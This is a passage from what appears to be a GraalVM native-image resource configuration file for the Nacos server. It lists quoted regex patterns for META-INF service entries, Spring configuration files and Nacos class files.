{\n    \"pattern\":\"\\\\QMETA-INF/services/ch.qos.logback.classic.spi.Configurator\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.api.naming.spi.generator.InstanceIdGenerator\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.api.remote.Payload\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.api.selector.Selector\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.api.selector.context.SelectorContextBuilder\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.common.ability.AbstractAbilityControlManager\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.common.paramcheck.AbstractParamChecker\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.common.pathencoder.PathEncoder\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.consistency.Serializer\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.core.ability.ServerAbilityInitializer\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.core.listener.NacosApplicationListener\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.core.paramcheck.AbstractHttpParamExtractor\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.core.paramcheck.AbstractRpcParamExtractor\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.core.remote.grpc.negotiator.ProtocolNegotiatorBuilder\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.naming.core.v2.client.factory.ClientFactory\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.naming.healthcheck.interceptor.AbstractHealthCheckInterceptor\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.naming.push.v2.hook.PushResultHook\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.plugin.auth.spi.server.AuthPluginService\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.plugin.control.configs.ControlConfigsInitializer\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.plugin.control.connection.ConnectionMetricsCollector\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.plugin.datasource.mapper.Mapper\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.sys.filter.NacosPackageExcludeFilter\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alibaba.nacos.sys.module.ModuleStateBuilder\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alipay.sofa.jraft.JRaftServiceFactory\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alipay.sofa.jraft.rpc.RaftRpcFactory\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alipay.sofa.jraft.util.JRaftSignalHandler\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/com.alipay.sofa.jraft.util.timer.RaftTimerFactory\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/io.grpc.LoadBalancerProvider\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/io.grpc.ManagedChannelProvider\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/io.grpc.NameResolverProvider\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/io.grpc.ServerProvider\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/java.sql.Driver\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/services/org.slf4j.spi.SLF4JServiceProvider\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/spring-autoconfigure-metadata.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/spring.factories\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/spring/aot.factories\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/spring/org.springframework.boot.actuate.autoconfigure.web.ManagementContextConfiguration.imports\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Q\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qapplication.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qbanner.txt\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/Nacos$$SpringCGLIB$$0.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/Nacos.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/api/annotation/NacosApi.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/api/grpc/auto/BiRequestStreamGrpc$BiRequestStreamImplBase.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/api/grpc/auto/RequestGrpc$RequestImplBase.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/auth/config/AuthConfigs$$SpringCGLIB$$0.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/auth/config/AuthConfigs.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/cmdb/controllers/OperationController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/cmdb/core/SwitchAndOptions.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/cmdb/memory/CmdbProvider$CmdbDumpTask.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/cmdb/memory/CmdbProvider$CmdbEventTask.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/cmdb/memory/CmdbProvider$CmdbLabelTask.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/cmdb/memory/CmdbProvider.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/cmdb/service/CmdbReader.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/cmdb/service/CmdbWriter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/common/notify/listener/SmartSubscriber.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/common/notify/listener/Subscriber.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/common/task/AbstractExecuteTask.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/common/task/NacosTask.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/aspect/ConfigChangeAspect.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/aspect/ConfigOpFailureAspect.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/aspect/RequestLogAspect.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/configuration/ConfigChangeConfigs$$SpringCGLIB$$0.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/configuration/ConfigChangeConfigs.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/configuration/NacosConfigConfiguration$$SpringCGLIB$$0.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/configuration/NacosConfigConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/controller/CapacityController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/controller/ClientMetricsController$ClusterMetricsCallBack.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/controller/ClientMetricsController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/controller/CommunicationController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/controller/ConfigController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/controller/ConfigOpsController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/controller/ConfigServletInner.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/controller/HealthController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/controller/HistoryController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/controller/ListenerController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/controller/\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/controller/v2/ConfigControllerV2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/controller/v2/HistoryControllerV2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/exception/GlobalExceptionHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/filter/NacosWebFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/monitor/ConfigDynamicMeterRefreshService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/monitor/MemoryMonitor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/monitor/collector/ConfigSubscriberMetricsCollector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/remote/ConfigChangeBatchListenRequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/remote/ConfigChangeClusterSyncRequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/remote/ConfigChangeListenContext.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/remote/ConfigClusterRpcClientProxy.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/remote/ConfigConnectionEventListener.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/remote/ConfigPublishRequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/remote/ConfigQueryRequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/remote/ConfigRemoveRequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/remote/RpcConfigChangeNotifier$RpcPushCallback.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/remote/RpcConfigChangeNotifier$RpcPushTask.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/remote/RpcConfigChangeNotifier.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/ClientIpWhiteList.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/ConfigDetailService$SearchEvent.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/ConfigDetailService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/ConfigOperationService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/ConfigReadinessCheckService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/ConfigSubService$ClusterCheckHasListenerJob.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/ConfigSubService$ClusterJob.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/ConfigSubService$ClusterListenerByIpJob.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/ConfigSubService$ClusterListenerJob.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/ConfigSubService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/HistoryService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/LongPollingService$ClientLongPolling.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/LongPollingService$DataChangeTask.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/LongPollingService$StatTask.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/LongPollingService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/NamespaceConfigInfoService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/SwitchService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/capacity/CapacityService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/capacity/GroupCapacityPersistService$GroupCapacityRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/capacity/GroupCapacityPersistService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/capacity/TenantCapacityPersistService$TenantCapacityRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/capacity/TenantCapacityPersistService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/dump/DumpService$ConfigHistoryClear.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/dump/DumpService$DumpAllBetaProcessorRunner.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/dump/DumpService$DumpAllProcessorRunner.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/dump/DumpService$DumpAllTagProcessorRunner.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/dump/DumpService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/dump/EmbeddedDumpService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/dump/ExternalDumpService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/merge/MergeDatumService$MergeAllDataWorker.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/merge/MergeDatumService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/notify/AsyncNotifyService$AsyncRpcNotifyCallBack.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/notify/AsyncNotifyService$AsyncRpcTask.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/notify/AsyncNotifyService$NotifySingleRpcTask.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/notify/AsyncNotifyService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigInfoAggrPersistService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigInfoBetaPersistService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigInfoPersistService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigInfoTagPersistService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector$ConfigAdvanceInfoRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector$ConfigAllInfoRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector$ConfigHistoryDetailRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector$ConfigHistoryRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector$ConfigInfo4BetaRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector$ConfigInfo4TagRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector$ConfigInfoAggrRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector$ConfigInfoBaseRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector$ConfigInfoBetaWrapperRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector$ConfigInfoChangedRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector$ConfigInfoRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector$ConfigInfoStateWrapperRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector$ConfigInfoTagWrapperRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector$ConfigInfoWrapperRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector$ConfigKeyRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/ConfigRowMapperInjector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/HistoryConfigInfoPersistService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/embedded/EmbeddedConfigDumpApplyHook.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/embedded/EmbeddedConfigInfoAggrPersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/embedded/EmbeddedConfigInfoBetaPersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/embedded/EmbeddedConfigInfoPersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/embedded/EmbeddedConfigInfoTagPersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/embedded/EmbeddedHistoryConfigInfoPersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/extrnal/ExternalConfigInfoAggrPersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/extrnal/ExternalConfigInfoBetaPersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/extrnal/ExternalConfigInfoPersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/extrnal/ExternalConfigInfoTagPersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/repository/extrnal/ExternalHistoryConfigInfoPersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/config/server/service/trace/ConfigTraceService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/consistency/CommandOperations.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/consistency/Config.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/consistency/ConsistencyProtocol.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/consistency/RequestProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/consistency/cp/CPProtocol.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/consistency/cp/RequestProcessor4CP.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/console/aot/BeanProcessorHints.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/console/config/ConsoleConfig.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/console/controller/HealthController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/console/controller/NamespaceController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/console/controller/ServerStateController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/console/controller/\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/console/controller/v2/HealthControllerV2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/console/controller/v2/NamespaceControllerV2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/console/exception/ConsoleExceptionHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/console/exception/NacosApiExceptionHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/console/filter/XssFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/ability/config/AbilityConfigs$$SpringCGLIB$$0.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/ability/config/AbilityConfigs.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/auth/AuthConfig$$SpringCGLIB$$0.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/auth/AuthConfig.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/auth/AuthFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/auth/RemoteRequestAuthFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/cluster/MemberChangeListener.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/cluster/ServerMemberManager$MemberInfoReportTask.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/cluster/ServerMemberManager$UnhealthyMemberInfoReportTask.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/cluster/ServerMemberManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/cluster/health/AbstractModuleHealthChecker.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/cluster/remote/ClusterRpcClientProxy.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/cluster/remote/MemberReportHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/code/ControllerMethodsCache.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/context/remote/HttpRequestContextConfig$$SpringCGLIB$$0.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/context/remote/HttpRequestContextConfig.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/context/remote/HttpRequestContextFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/control/http/HttpTpsPointRegistry.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/control/http/NacosHttpTpsControlRegistration$$SpringCGLIB$$0.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/control/http/NacosHttpTpsControlRegistration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/control/http/NacosHttpTpsFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/control/remote/TpsControlRequestFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/controller/CoreOpsController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/controller/NacosClusterController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/controller/ServerLoaderController$ServerLoaderMetrics.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/controller/ServerLoaderController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/controller/\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/controller/v2/CoreOpsV2Controller.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/controller/v2/NacosClusterControllerV2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/distributed/AbstractConsistencyProtocol.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/distributed/ConsistencyConfiguration$$SpringCGLIB$$0.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/distributed/ConsistencyConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/distributed/ProtocolManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/distributed/distro/DistroProtocol.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/distributed/distro/component/DistroComponentHolder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/distributed/distro/task/DistroTaskEngineHolder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/distributed/id/IdGeneratorManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/distributed/raft/JRaftProtocol.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/distributed/raft/RaftConfig.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/monitor/GrpcServerThreadPoolMonitor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/namespace/injector/AbstractNamespaceDetailInjector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/namespace/repository/EmbeddedNamespacePersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/namespace/repository/ExternalNamespacePersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/namespace/repository/NamespacePersistService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/namespace/repository/NamespaceRowMapperInjector$TenantInfoRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/namespace/repository/NamespaceRowMapperInjector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/paramcheck/CheckConfiguration$$SpringCGLIB$$0.class\\\\E\"\n  }, {\n    